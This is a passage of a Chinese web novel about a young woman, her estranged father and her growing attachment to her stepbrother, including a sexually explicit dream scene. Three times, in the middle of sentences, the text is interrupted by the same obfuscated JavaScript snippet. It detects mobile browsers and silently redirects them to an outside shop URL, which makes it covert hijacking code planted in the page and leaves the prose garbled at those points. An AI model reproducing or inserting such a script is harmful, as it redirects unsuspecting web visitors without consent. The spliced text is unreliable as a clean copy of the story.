她从小崇拜仰慕追随着他脚步的人,有着那样难堪罪恶的一面。 但接受不代表原谅。 确实有不少创作者吸食那种东西,在亢奋和飘飘然中获得所谓的灵感,他们说艺术即疯狂。 可在林知睿这里不行。 这些东西太……恶心了。 “他说自从那件事发生后,你就不愿再见他,这次回国,他没有别的要求,只想和你见一面,”邹诚说,“当然,我和你妈妈尊重你的意愿,如果你不想见他,那就不见。” 正如邹诚所说,当林知睿撞破江奕工作室的淫/乱后,她再也没见过他。 一开始是江奕自己感到羞愧,没脸来见女儿,后来是林知睿拒绝见他,她在电话里告诉他—— “如果你出现在我面前,我向你保证,一定会有一个人流血,也许是你,也许是我。” 怕林知睿做出伤害自己的事,江奕一直不敢来见她。 这次他回国再次提出见她一面,是想着在国内,她有林韵他们陪着,不会做出什么傻事。 早在来找她之前,邹诚就猜到她不会同意,林韵甚至都不打算告诉她。 邹诚叹了声气,站起身,“回工作室还是回家?我送你。” 林知睿坐着没动。 林知睿望向窗外强烈刺目的阳光,看久了眼前一阵阵发晕。 她闭上眼睛,感受着这股晕眩恶心的感觉。 邹诚发现她脸色很差,嘴唇发白。 “睿睿?”邹诚叫她一声。 “邹叔,他住哪个酒店?” 江奕没住酒店,住在朋友那里。 林知睿在约定的时间过去,那个朋友不在,给他们留出单独相处的时间。 她独自前来,没让林韵和邹诚陪同。 江奕开门见到女儿,笑容淡淡地和她打招呼,“来了。” 江奕朋友家在远郊,林知睿自己开车过来。 她刚拿驾照没多久,车借的艾瑞克的。 从江奕那离开后,她开在回去的路上。 因为走错路口,不知怎么开进了条狭窄的断头路。 林知睿尝试了几次都没能开出去,她还算淡定,拿出手机各种搜自救之法。 在看完几个“窄路掉头只需掌握3点”、“小路掉头?菜鸟司机可以这样做”的视频后,林知睿信心满满。 一顿猛操作,结果不仅没能成功掉头,后轮的一只轮胎更是陷进了路边。 天色渐暗,四周连个求助的人都没有。 林知睿决定放弃挣扎,寻求救援。 求救电话还未拨出去,屏幕上跳出个名字。 林知睿匆匆接通电话,一声“哥”喊得委屈巴巴。 余明远来的比林知睿以为的快。 在天完全暗下来前,一辆卡宴闪着车灯出现在路口。 停好车,余明远下车,借着车灯的光查看林知睿车的情况。 林知睿蹲在他身边,紧张地问:“怎么样,能开出来吗?” 余明远用手机灯照着陷进去的车胎,“谁的车?” “我老板的。” “到底行不行?”林知睿追问。 “现在太晚了,”余明远环顾四周,“就算能倒出去,你也开不了。” 林知睿为自己辩解,“我能开,来时也是我自己开的。” “现在是晚上,”余明远不容置疑道,“你先坐我车回去,明天我让人把车开回来。” 这种情况下,只能是余明远说什么事什么。 林知睿拍了张车的照片发给艾瑞克说明了情况,对方毫不在意,只让她注意安全。 “哥……” 余明远的手腕被拉住,他停下脚步,没等转过身,林知睿突然从身后抱住他。 “林知睿……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14220396|151192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余明远愣住了,刚抬起手,后背衬衫上渗透的冰凉让他停下了所有动作。 郊外风大,吹起田边麦浪。 带走了轻微的压抑哭声。 余明远终于还是抬起手,没有推开她,而是轻轻覆在她手背上。 “哥……”她彻底埋进他后背衬衫中,哭声隐忍压抑,“我再也没有爸爸了。” 江奕这次来是向林知睿告别的。 他参加了某个西北援助项目,项目周期很长,如果没什么特殊事情,他大概就会一直留在那里。 江奕并没有向她解释,四年前她在画廊撞见的不堪,因为没什么好解释的,林知睿看到的就是事情的全貌。 他一点也不无辜,在那之后,他因为被举报,受到了法律的判罚。 作为小有名气的艺术家,受到了无数舆论的谴责。 他为自己的行为付出了代价,并且未来也将为此受到深远的影响。 “睿睿,我这次来找你,是想亲口告诉你一件事,”江奕顿了顿,似有犹豫,但最终还是告诉了她真相,“当年我和你妈妈离婚,是因为我……出轨了。” 林知睿对林总的感情呈现两个极端,要好时蜜里调油,那么大个人了还会搂着林总撒娇,关系恶劣时又恨不得扑林总身上咬下一块肉。 林知睿对林总矛盾的感情,有很大一部分原因就是父母离异造成的。 江奕在女儿面前的“形象”塑造的太完美了。 在她眼里,她爸爸那么好的人,他那么爱她妈妈,怎么可能会舍得离开她们呢? 所以他们离婚,肯定是她妈妈的原因,她爸爸一定是因为无法忍受她的强势霸道才离开。 就算四年前,她撞见父亲那么不堪的一面,也没有对此有过怀疑。 她从没没想过父母离婚的原因竟然是这样。 太可笑了。 可笑到她觉得这些年的自己完全就是个傻子,愚蠢至极。 当她冲她妈妈吼“我要是爸爸也会和你离婚”时,她妈妈当时是怎样的一种心情呢? 如果她是林韵,她大概会直接掐死自己这个没心没肺的狗东西吧。 父女俩见面后的很长一段时间里,都是江奕在说话,林知睿只是安静地倾听,除了在听到父母离婚的真正原因时表情变了下之外,没有任何回应。 直到她离开,也没开口说过一个字。 她站起身准备走时,江奕跟着站起来。 他没有挽回她,和刚才见到她第一眼时一样,笑容淡淡地问一声,“走了?” 林知睿没回头,也没道别,如来时一样沉默地离开。 林知睿曾想过,会不会再过四年,或者十年,她就能忘了那件事,然后原谅她爸爸,多年后两人也许还能冰释前嫌。 可江奕彻底抹杀了这一可能性。 但也正因此,林知睿心里反倒卸下了某些沉重的东西—— 她不用再逼着自己去原谅他了。 林知睿甚至觉得江奕是故意的…… 这些年,林知睿一直活在痛苦中,她太爱江奕了,那件事发生后的很长一段时间,她始终无法相信那是真实发生的事。 她曾一度陷入对自我的否认,她否认自己亲眼看到的,否认相信事实,继而开始否认自己。 为此,她接受过心理治疗,当然看心理医生的事林知睿没告诉林总他们。 然而在得知父亲出轨后,那代表着最后一丝微弱希望的吊绳彻底绷断,没有东西拽住后,林知睿直直往下掉。 耳边没有呼啸的风声,也没有撕心裂肺的哭喊,真正的心死是悄无声息的。 坠无可坠,她安静地躺在了地上。 可是心死了为什么还会痛呢? 迟钝了四年的心脏裂开一道细小的裂纹,被埋藏起来的疼痛一股脑地从裂纹中喷涌而出,将她淹没得彻底。 从过去阴影中走出来的代价,是她失去了曾经最爱的人。 她终于可以脚踏实地,一步步继续往前走了。 林知睿的脸被捧起。 余明远俯视着她,指腹上全是冰凉的泪水,车灯冷白的色调照在她脸上,哭泣的苍白的脸,那么脆弱,却也那么美丽。 逆光中,林知睿看不太清他的脸,却能清晰地感觉到他望着自己的那道目光,仿若穿透时光,划破她眼前的迷障。 林知睿好似又站到了画廊的那道门前。 前路是深渊,她往后退,后背抵上他胸怀。 “林知睿……”余明远收紧双臂将她拥进怀里,慢慢俯身,轻声唤她,“睿睿,我的睿睿。” 9.哥不走 厚重的云层散开,天边高挂一轮玄月。 旷野的风很大,吹在身上凉爽舒适。 林知睿坐上余明远的车。 余明远先给妹妹系上安全带,再抽了几张纸巾,温柔细致地替她把眼泪擦干。 指腹最后停在她泛红的眼尾,轻缓揉摁。 林知睿脸皮薄,是生理意义上的薄,还没怎么哭眼周一圈就先红了。 余明远替她揉,将眼尾的肿胀揉开,揉得她眼角发涩,又掉一串生理性盐水。 边擦边揉,揉进也疼进了骨子里。 “我想通了。”林知睿抽了抽鼻子,嗓音带着哭后的低哑哽咽。 “想通什么?” “哥,”她伸手,拽住他衣袖,抬眸看他,“我们和好吧?” 手从眼尾一路往下,他两指捏住她尖尖下巴,小幅度往上抬了抬。 “我们什么时候不好了吗?” “我是说……”她低头,避开他视线,表情有些不自在,“我承认我生你气,过去四年故意不联系你,冷着你。” 回国后,她也打算继续秉持着对他不冷不热的态度,做一对貌合神离的兄妹。 可她现在不想这么做了。 余明远什么也没说,静静地等她说下去。 “我练车的教练告诉我,开车时要往前看,遇到情况可以看一下反光镜,但不能一直往后看,容易出事,”她重新抬起头,昏暗的车厢里,她的眼睛又清又亮,“过去的事就让他过去,我们重新开始吧。” 林知睿没意识到她这话不像兄妹和好,更像情侣复合。 “我已经没有爸爸了,我不想再失去任何一个人,所以……”她拉着他的手贴在自己脸上,轻轻蹭着,“哥哥,我的好哥哥,从今往后,我就是你的妹妹,只做你的妹妹,你永远的妹妹。” 在得到一个永不回应自己感情的余明远,和拥有一个永远对自己不离不弃的哥哥之间,这一次她坚定地选择了后者。 余明远把车倒出小路,开上主路,后面一路畅通无阻。 下了高速,回到市里,两人找地方吃晚饭。 吃完余明远把人送到江月路。 林知睿下车前,余明远说:“车钥匙给我,明天我让人把车开回来。” 林知睿把钥匙交给他,“开回哪儿?” 余明远抬眸瞥她一眼,“你老板家?” “我不知道他家在哪里,”林知睿想了想说,“要不开到工作室去吧?” 她不像在撒谎。 似乎是真的不知道老板家的地址。 余明远收下钥匙,“好。” “等等——”余明远叫住正要开车门下车的妹妹,转身从后座上拿东西。 林知睿跟着回头看了眼,看到了山茶花的黑色拎袋。 “不是说回了上海再买……” 她看到他哥把香奈儿的拎袋放在边上,拿起被它压住的某样东西。 林知睿看着他手里的东西,愣住。 “黄……桃罐头?” “嗯,”余明远把黄桃罐头给她,“你小时候不是最喜欢吃这家的黄桃罐头吗?” 在黄桃罐头里,她确实最喜欢这个牌子,但在礼物里,她有更多更喜欢的。 比如香奈儿的包包。 “谢谢。”良好的教养,让她在收到礼物时即使再失望也不忘道谢。 余明远伸手揉了揉她发顶。 “好好睡一觉,有条件的话可以煮上两个鸡蛋,揉揉眼睛。” 她抱着玻璃瓶装的黄桃罐头,赌气地说:“我不会煮鸡蛋,也不会揉眼睛,就让它们明天变成两个大核桃吧。” “是,你不会,”余明远眼里划过一点笑意,“你只会对我生气。” “我没有……”她小声辩驳。 却毫无说服力。 说不再对他生气的是她,说我们和好的是她,说永远做你好妹妹的也是她,结果现在因为一瓶黄桃罐头就朝他甩脸色。 “好吧,对不起,”她抱紧怀里的罐头,“我很喜欢你从遥远的北京带回来的五百克的黄桃罐头,今晚我也会煮两个鸡蛋敷我的眼睛,不让它们变异成任何坚果形态。” 余明远笑起来,“懂事的孩子理应被奖励。” “奖励两瓶黄桃罐头吗?” 余明远没回答,他再次朝后座探身。 林知睿看着他手里的香奈儿拎袋,犹豫着问:“里面装的不会也是罐头吧?如果是,能不能换个口味的,荔枝也行。” “当然不是。”余明远笑着将拎袋放她腿上。 没什么分量,应该不是罐头。 林知睿低头瞧了眼,嘴角忍不住往上翘了翘,又翘了翘。 在感受到一道含笑的目光看过来时,她及时收住嘴角笑意,抬起头,装作不在乎地问:“什么时候买的?” 按照时间推算,他应该是飞机刚落地就给自己打电话,得知自己被困住后就直接过来了。 “那天和你打完电话去了SKP。” 所以从北京带回来的礼物不只是黄桃罐头,还有她最近喜欢上的包包。 刚才在江奕那里,她是真的很伤心,那种什么东西从心上剥离的撕裂之痛是真切存在的。 现在她抱着黄桃罐头和香奈儿包包的快乐也是真实的。 而这一刻的快乐是余明远带给她的,在意识到这一点后,她更加觉得自己的决定很明智。 她曾经因为赌气对他冷暴力四年,他不说她也知道,因为自己的疏远冷漠他有多难过伤心。 她的报复成功了,可同样的,她也失去了被他捧在手心里宠着的四年时光。 没有谁赢了。 甚至是她损失更惨重一些。 她林知睿拿得起放得下,从此时此刻开始,她决定把那些不该有的念头统统放下,回到她原本的位置上—— 做余明远的妹妹,没有血缘,胜似有血缘的亲妹妹。 林知睿说到做到,言行一致,只要她打定主意要做什么,那真是全身心全方位地全情投入。 周末邹诚叫两个孩子回家吃饭,林知睿一口一个“哥”叫不停。 “这个葡萄超级甜,哥你要吃吗?我给你剥一个吧?” 被紫色葡萄汁染色的指尖,掐住葡萄顶端的小裂口将皮往下撕拉。 和削茄子时连皮带肉削下去三分之一不同,剥葡萄皮她擅长,小小一个葡萄,亏得她剥得干干净净一点皮没有。 去了皮的葡萄果肉不再紧致,被她手指夹得软烂,抵在他淡色唇边,挤进嘴里。 她期待地问:“好吃吗?” 清甜的汁水在口腔中爆开,和软烂湿滑的果肉一起滑入喉道,回味是玫瑰的清香。 他嗓子被泡得发腻,声音也低沉了几分。 “嗯,很甜。” “是吧?我也觉得好吃,林总客户送的,好东西。” 她给自己也剥了一颗,放进嘴里,抿了抿指尖的汁水。 余明远别过眼,从桌上抽一张纸巾,拉过她的手,擦拭快要流到她手腕的甜蜜汁水。 晚上一家四口打牌。 林总和余明远两个高智商,什么牌都算得清清楚楚,邹诚和林知睿连着输。 和这两人打牌脑力消耗太大,林知睿率先撑不住,回了房间睡觉。 楼下,邹诚在厨房收拾茶具。 余明远整理纸牌,把打乱的纸牌,重新拆分成两副装回去。 即使知道听不见,林韵还是压低了些声音。 “听说江奕这次参加的项目任务很繁重,几乎是封闭式的,以后不一定能见着面,”林韵说,“林知睿还是不愿意原谅他。” 项目再忙也不至于真连面都见不到,江奕把话说那么绝,可能也是想逼林知睿做出决定—— 重新拥有或者永远失去。 余明远将同花色放在一堆,再把每一个花色分成两组顺子,边理边低头道:“这是她的决定” 林知睿的态度很明确,她可以忘了四年前,至于他出轨的事,她没资格替林韵原谅,但也仅止于此。 一切都结束了。 他们的未来再也不会有交集。 “我知道,但要从心里真正忘掉自己的父亲并没有那么容易,她会急于寻求另一种情感寄托去弥补缺失掉的那部分,”林韵叹了声气,“你看她,分离焦虑症又犯了,那时候是因为她外婆一个劲粘着你,现在也是……她啊,恨不得长在你身上,恨不得是你生的她。” 中考之后,因为出国留学的事,林知睿和林韵大吵了一架,整个暑假和余明远在那套八十平空调打不冷的老破小里度过。 那段在艰苦中相依相伴的革命友谊,让两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14223915|151192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人暂时消除隔阂。 特别是林知睿,在余明远无微不至的照顾中放下成见,开始试着接受他。 但林知睿真正接受余明远,是她外婆去世那年。 林知睿外公去世后,外婆就一直住在爷爷的老家无锡,林韵经常带女儿回无锡看老人,寒暑假会住上一段时间。 偏偏那次暑假林知睿没回无锡老人就出事了。 外婆走的时候没什么痛苦,但是林知睿很后悔。 外婆走的前一天给她打电话问她什么时候来,她却和她抱怨林总,抱怨这个抱怨那个,没有好好陪她说一会儿话,问问她,院子里去年自己栽的花开得好不好。 葬礼时邹诚和余明远也去了。 余明远听邹诚提过一点林家的背景,直到亲眼看见,才终于明白,林知睿骄纵跋扈的底气打哪儿来。 林知睿的外婆出生于上海的名门望族,从小弹钢琴学马术,留洋回来后成为当时国内首批女性小语种翻译。 外婆是沪上千金,外公是知名大学校长,林知睿在这样的家族中被教养,被呵护,集万千宠爱于一身。 灵堂里人不多,但个个都大有来头。 余明远跟在邹诚和林韵身后,不断被一个个更高级别的头衔震惊到。 林知睿坐在灵堂角落,安静地折金元宝。 折完一筐,又折一筐。 送走最后一批吊唁的人已是入夜。 余明远将外套搭在她肩上,看着她眼底的乌青发愁,劝道:“去休息一会儿吧?” 林知睿没应声。 余明远在她身侧蹲下,握住她的手,“听话。” 她的手冰凉。 从早上五点到现在,已经接近十七个小时。 除了吃饭上厕所,林知睿就坐在这里。 折完元宝折别的,手上和身上,沾满了锡箔粉。 这里原本坐了很多人,大家一起折,边折边轻声聊几句。 现在人都走光了。 林韵和邹诚还有几个亲眷在外面谈明天下葬的安排。 灵堂里只剩下两个人。 余明远问:“饿不饿?” 她还是不说话。 “林姨他们还有事,让我们先回去。” 她依然没反应,好像没听见余明远在说话,也听不见看不见别的,只一遍遍机械地折着锡箔。 “林知睿,”余明远抓住她两只手,将她转向自己,轻声说,“别再折了。” 林知睿低垂着脑袋,含糊咕哝。 “什么?”余明远问。 “不够,”林知睿说,“不够……” “什么不够?” 林知睿偏头,看向竹筐里的元宝,再抬起头时,眼眶里蓄满了泪水,眼睫轻轻颤了一下,大颗大颗滚烫的泪珠子便不断滴落在他手背上。 “我不够好,所以他们都要走,对吗?” 余明远来不及多想,一把将人拥进怀里,温热的手掌不断搓揉着她单薄僵直的后背。 他将她往自己怀里摁,恨不得将她摁进身体里,恨不得她是他生的。 “哥不走,哥向你保证,永远不会离开你。” 回到酒店,余明远盯着林知睿洗了澡,给她吹干长发,在她干涩的眼周涂上护肤霜,再柔柔地呼气吹干。 余明远拍拍她脑袋,“好了,你可以休息了,明天五点我会准时叫你起床。” 她央求道:“能再早一点吗?我想早点去陪外婆。” “不行,”他断然拒绝,“你需要保证充足的睡眠,你情绪波动太大,会撑不住的。” “我情绪波动不大……我今天一天没有表情变化。” “但你哭了。” 哭得很伤心,把他的衣服和心都哭湿透了。 “那我明天不哭了。” “我们都清楚那是不可能的,”余明远把她从椅子上拽起来,带到床边,按着她肩膀让她坐下,“你现在只有两个选择,马上闭眼睡觉,等你再次睁开眼,我就带你去见外婆。” 她期待地问:“第二个呢?” 余明远让她躺下,给她盖上被子,掖好被角,温柔道:“我在这里,守着你睡觉,等你醒了,我们就去见外婆。” “我选第三个,”她掀开被子一角,往边上让出一个身位,她说,“我要你陪我一起睡。” 10.要不要 父亲和外婆的相继离开让林知睿异常痛苦。 是余明远那句“我永远不会离开你”给了她安慰,成为了她当时的救命稻草。 林知睿把对其他亲人的感情寄托在了余明远身上。 而余明远又何尝不是呢? 他先是被亲生父亲抛弃,再被亲生母亲抛弃,从小在血缘亲情上极度贫瘠。 如果余明远是林知睿的救命稻草,那她就是他唯一的救赎。 两个人的成长环境、性格脾气甚至是信仰全都截然不同,就像两条没有交集的轨道,各自运行着摇摇摆摆的破旧列车。 但事实上,两人的底色何其相似—— 他们都是被“丢下”的可怜小孩。 在即将进入暗无天日的隧道前,他们相遇,碰撞,破碎。 他们最终融合成了一条轨道。 行驶在漆黑冰冷、没有尽头的幽长隧道中。 * 第二天林知睿起了个大早去晨跑。 跑完一圈,折回家门前的马路,远远地看见站在弄堂口的人。 余明远穿着浅色居家服,站在梧桐树下,淡金色的晨光勾勒出清隽细致的轮廓,目光穿过马路望着她时,有种寂静的柔软。 林知睿不由朝他走过去。 “怎么起这么早呀?” “早上空气好,出来走走,”余明远提议,“要一起吗?” 两人走在清晨的街道上,大清早的阳光不晒,洒在皮肤上温暖舒适。 路上少有车经过,也没什么人,梧桐连绵成阴,他们走在树下的人行道,耳畔此起彼伏悦耳的鸟叫声。 两人谁也没说话,默默地走了一段。 “哥,你有什么话要和我说吗?”林知睿先沉不住气,主动开口。 余明远算准她跑步回来的时间等在家门口,分明是有什么话不方便在家里同她说。 前方路口的红灯亮了,两人停下来。 余明远:“我想和你确认一件事。” 林知睿偏头看他,“什么事?” “那天你说……”余明远顿了顿,“你只做我的妹妹,是什么意思?” 她露出不解的神情,“字面意思呀。” 余明远看着她,显然需要她进一步解释。 于是她说:“只做你妹妹的意思是——除了妹妹这个身份,我不要其他身份了。” “比如什么身份?” “比如你姐?” 余明远“啧”了声,“你想的倒是挺美。” “我就是打个比方,”林知睿笑嘻嘻地说,“再说姐姐也只是平辈而已……” “怎么,”余明远挑眉,“你还想大我一辈?” “哎呀,怎么可能,”林知睿抓着他胳臂来回晃,“哥哥,我最尊敬爱戴的哥哥,就是你大我一辈儿也不能我大你一辈儿啊!” 大她一辈儿? 叔叔伯伯,还是爸爸? 余明远心头一滞。 他想什么呢…… 林知睿的跑步服轻薄贴身,紧裹着年轻活力的身体,她刚跑步完,心跳跳得很快,身上温度高,肌肤呈现健康自然的薄粉。 是跳动的,炙热的,嫩粉色的林知睿。 余明远抽出被她抱着的手,不大自在地别过脸,抬头看向马路对面树杈上的两只雀。 它们紧紧依偎,低头互相梳理对方肚子下的羽毛,那样的亲昵,分不清是亲人还是爱人。 但人不是鸟。 亲人和爱人,就算转变,也只能从爱人升华成亲人,这样的感情为人所称道、赞扬。 反之则是乱/伦,是罪孽。 “所以这段时间你对我,是基于正常妹妹对哥哥的感情?” 自从林知睿回国,对待他的态度两极分化太厉害,一开始对他爱答不理,就差把他当空气,后来又黏糊糊地缠过来。 林韵说她是因为江奕的事,分离焦虑症犯了拿他当慰藉。 也许是的。 但余明远觉得有必要搞清楚,她对自己到底存着什么样的心思。 他不希望四年前的事再重蹈覆辙。 “正常,很正常,比你以为的还要正常!”林知睿笃定道,“放心吧哥。” “我没有不放心,我只是……” “我明白你在担心什么。”林知睿打断他。 一想到过去的事,她依然会难受,毕竟那是她第一次喜欢一个人。 但比起过去,她更在乎现在和将来。 林知睿平静坦然地告诉余明远—— “你之前和我说了两次抱歉,其实该道歉的人是我,十八岁的我幼稚、冲动又自私,没有考虑你的感受,没有考虑我们的家人,自以为真爱无敌,非要缠着你逼迫你。你不爱我,我就恨你,把所有的错都推到你身上。” “睿睿……” “对不起,哥,我向你道歉,为当年我口不择言对你说过的那些话,也为后来四年我那样不公平地对待你道歉。” 亲口说出这些话,承认自己做错了,并不容易,对于王林知睿来说更不容易。 余明远心里的石头落下,同时又不可避免地感到心疼,“真的长大了啊。” “我二十二啦,”林知睿笑着说,“从我们第一次见面到现在,已经整整十年了。” 从十二岁到二十二岁。 从不离口的“哥哥”,到我不要你做我哥我要你做我男朋友,兜兜转转又回到了最初。 林知睿想,好在还能回去,好在余明远还留在原地,愿意再让她做回他的妹妹。 她不是一个深谋远虑的人,但也并非得过且过,她既有林韵的果敢迫力,也有江奕的浪漫洒脱。 如果现在的余明远只接受和自己做兄妹,那他们就做兄妹。 她为自己过去对他造成的伤害道歉,但她绝对不会为爱情道歉。 是的,她爱他。 从确定自己对他的感情后,就没否定过。 林知睿愿意静待。 静待佳音。 解开心结后,两人的感情迅速升温。 当然是纯粹的兄妹亲情。 由于工作性质,林知睿的生活作息不规律,三餐不定,经常熬夜。 余明远工作也忙,但为了妹妹的健康,会尽量会抽出时间照顾她。 除了经常隔空提醒她按时吃饭,隔三差五还会亲自过来给她做饭,做完饭顺便再洗涮整理。 林知睿觉得自己花钱请的钟点工根本没法和余明远比,光是免费这一点就赢麻了。 后来她就真没再找钟点工。 余明远不过来做饭,她就随便吃一点白人餐,要是想吃什么就发消息告诉他,点起菜来驾轻就熟。 后来发展到平时在外边餐馆里吃到什么好吃的,随手拍张照发过去,跟着再发一条嗲不死人的语音—— “亲爱的哥哥,周末可以做这个吗~” 林知睿在家除了简单洗几件内衣裤,家务活基本都留给她哥。 “哥,你不累吗?” 又是一个周末,吃完饭林知睿半躺在沙发上翻一本摄影杂质,翻着翻着眼睛就越过杂志,看向在客厅里拖地的身影。 有自动扫地机,但余明远更喜欢自己动手,家里的角角落落全都不放过,地板拖得能反光。 林知睿的视线里,她哥弯着腰,两条腿又长又直,动作幅度带起衣服下摆,露出腰侧冷白肌肤。 宜家宜室宜草…… 他继续手上动作,不咸不淡道:“是挺累的,要不然接下去的交给你干?” 林知睿假装没听见,看向厨房问:“哥你煮什么呢,好香啊……” 余明远低头笑了笑。 他煮了苹果汤,加了山药薏米枸杞和红枣。 煮好后,他盛了一碗给林知睿。 余明远看向妹妹手心捂着的地方,“去医院看看吧?” 入秋这两天,早晚温差大,林知睿跑外景穿少了,吃了几口冷风,当天胃就开始不舒服,没疼到去医院的程度,自己泡了点冲剂吃。 “老毛病了,过两天就好了。” “老毛病?”余明远拧眉,“有多老?” 林知睿想了想,“刚到巴黎那个时候吧。” 法国不是美食荒漠,但没有许阿姨的法国是林知睿的食物荒漠,什么法式羊排法式蜗牛法式甜品全部都失去了它们在国内时的光芒。 无论是食物,天气还是人与人之间的相处,她花了很长时间才适应。 从逃离画廊的那天晚上起,她更是丧失了当初留在那里的信念。 纵然如此,她也不愿回来。 余明远浅浅叹一声气,伸手揉妹妹因为忍痛蹙起的眉心,实实在在地感受到了心口的酸疼。 说林知睿是他养大的也不为过,可没想到让她吃了那么多苦的人也是自己。 他不是个称职的兄长。 “你不应该忍着。”余明远说。 “我没有忍着呀,”林知睿放下碗,握住她哥的手,牵着缓缓往下移,“没关系的,真的只是一点点疼,你帮我揉揉就好了。” 隔着细腻的睡衣布料,宽大的掌心带着体温熨帖在她抽疼的部位。 她按着他的手,轻轻揉一揉,再按一按。 疼痛被缓解,她舒服地眯着眼睛享受。 余明远任劳任怨地给林知睿揉了很久肚子,直到她在沙发上睡着。 秋季日照短,五点不到,太阳已渐西沉。 客厅里没开灯,光线只余阳台上的一小片。 大半个客厅沉浸在灰暗中。 林知睿睡得无声无息,就算睡着了,手依然抓着他的手不放。 余明远试着抽了一下,没抽出来,反被她拉高后连着小臂一起压在脸下。 他怕弄醒妹妹,任由她将自己的手当成枕头,压得发麻也不敢动一下。 他只好坐在沙发边的地毯上,将两人手机调成静音,透过落地窗,看着天空中绯色的晚霞。 什么也不做,只是安静地陪伴。 余明远欣赏落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14234067|151192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日晚霞时,林知睿在做梦。 日有所思夜有所梦,梦是现实世界的延伸。 林知睿觉得这个梦有点熟悉,因为梦的前半段是真实发生过的事。 那年她大胆地向自己的哥哥表白,她要和他谈恋爱,要他做自己男朋友,问他可不可以亲亲自己。 哥哥被吓坏了,他先是严厉地斥责了她,然后躲得远远的。 她不甘心,为了逼他答应自己,做过很多事。 其中就包括引诱。 引诱自己的哥哥。 十八岁的她,自信于自己的脸蛋和身材足以诱惑任何男性。 哥哥也是男人,也一定会经不住诱惑。 可结果是她失败得彻底。 无论是故意在他面前穿着性感,还是半夜爬上他的床,他始终不为所动,冰冷绝情地像马里亚纳海沟最深处的矿石。 十八岁的林知睿觉得此生最大的挫败来自于余明远,也来自于她自己是个缺乏魅力的人。 她整日郁郁寡欢,神色哀伤。 帮许阿姨收衣服时,林知睿不小心打碎了阳台上的花,她站在凳子上,望着碎了一地的花瓶碎片发呆。 听到动静的余明远来到阳台,他让林知睿站在凳子上千万不要动,然后绕过一地碎片走过去。 他先将她怀里的一堆衣服抱走放在一边,随后手臂一伸,单手将她从凳子上抱下来,他没把她放在地上,而是抱着她绕过一地狼藉,将她放在远离碎片的柔软地毯上。 他放下她,收回手,转身离开。 现实到这里本该结束,可梦里还在继续。 梦里林知睿赤着脚跑过去,从背后抱住余明远。 她仰起下巴问他:“哥,我新买的胸衣好看吗?” 梦里的林知睿看到梦里的余明远,在接过那堆衣服时,目光在她的黑色胸衣上停顿了片刻。 也许时间比片刻还要长一些。 总之超出了一个哥哥应该有的界限。 她转到他面前,脚尖踩在他脚背上,手臂勾缠他脖子,将自己大半个身体挂在他身上。 “我买了一套,”她凑到他耳边,怕被梦外的人听见,压低声音,柔柔问,“另一件我穿着呢,要看吗?” 梦里的余明远看到了妹妹新买的全套黑色内/衣。 一件在衣篓里,另一条穿在她身上。 黑色半镂空,有着繁复漂亮的花纹。 后来她身上那条也被他扔进了衣篓,终于凑成了完整的一套。 梦里的林知睿侧躺在沙发上,被哥哥拥在身前。 某种坚/硬的纽带将他们彼此相连。 抽离,撞击。 深深,浅浅。 她大口呼吸,无法忍受般叠叫着—— “余明远……” “哥……” “我要死了。” 林知睿有件无法向人启齿的事。 在亲眼目睹那场淫/乱之后,她丧失了性趣。 无论是欣赏美妙的异性躯体,还是剧情和颜值都很出色的小电影们,都无法调动她的身体。 每当她有这些念头,脑中的画面就会自动切换成画廊工作室的那一幕。 太恶心了。 她简直想吐。 她本以为这辈子再也无法体验身体的欢愉,直到有一天晚上她做了个梦。 梦醒后,她久久无法回神。 等她意识到梦里发生了什么,她的身体先于大脑有所行动。 她的手犹豫着、颤抖着、也渴望着不断往下探。 房间漆黑一片,柔软的被子,被她的手背拱起一小块弧度。 她闭上眼睛,回忆着梦里余明远的吻,和他强健有力的手臂。 梦里的余明远不说话,但和沉静的表情不同,他的手臂快速而猛烈。 太快了。 快到好似要起火。 身体某一处和心脏同样滚烫。 梦里的人教她如何才能更快乐,他说:“夹住我的手,再夹得紧一点,要不要哥哥再快一点?要不要?” 淋淋的汗水浸透衣衫,她虚软无力,却停不下来,只能紧紧攀附。 余明远一个激灵醒过来,不知道什么时候自己靠在沙发边上睡着了。 他的手还压在妹妹脸下,手心里湿漉漉的不知道是谁的汗。 两个人就这么一躺一坐。 谁也没动,也没开灯。 等到眼睛渐渐适应了黑暗,余明远发现林知睿正一眨不眨地看着自己。 她的眼珠子漆亮,出了汗,鬓角的发丝凌乱地粘在脸上,压在脸和他的手掌之间。 余明远觉得妹妹看自己的眼神有些古怪,但他又说不出怪在哪里。 她只是睡懵了而已,余明远安慰自己,而不是饿极了的狼崽子想要一口吞了他…… 她大概是做梦了,不知梦到什么,气息微喘,声音带着哑意在黑暗中叫他,“哥……” “嗯?” 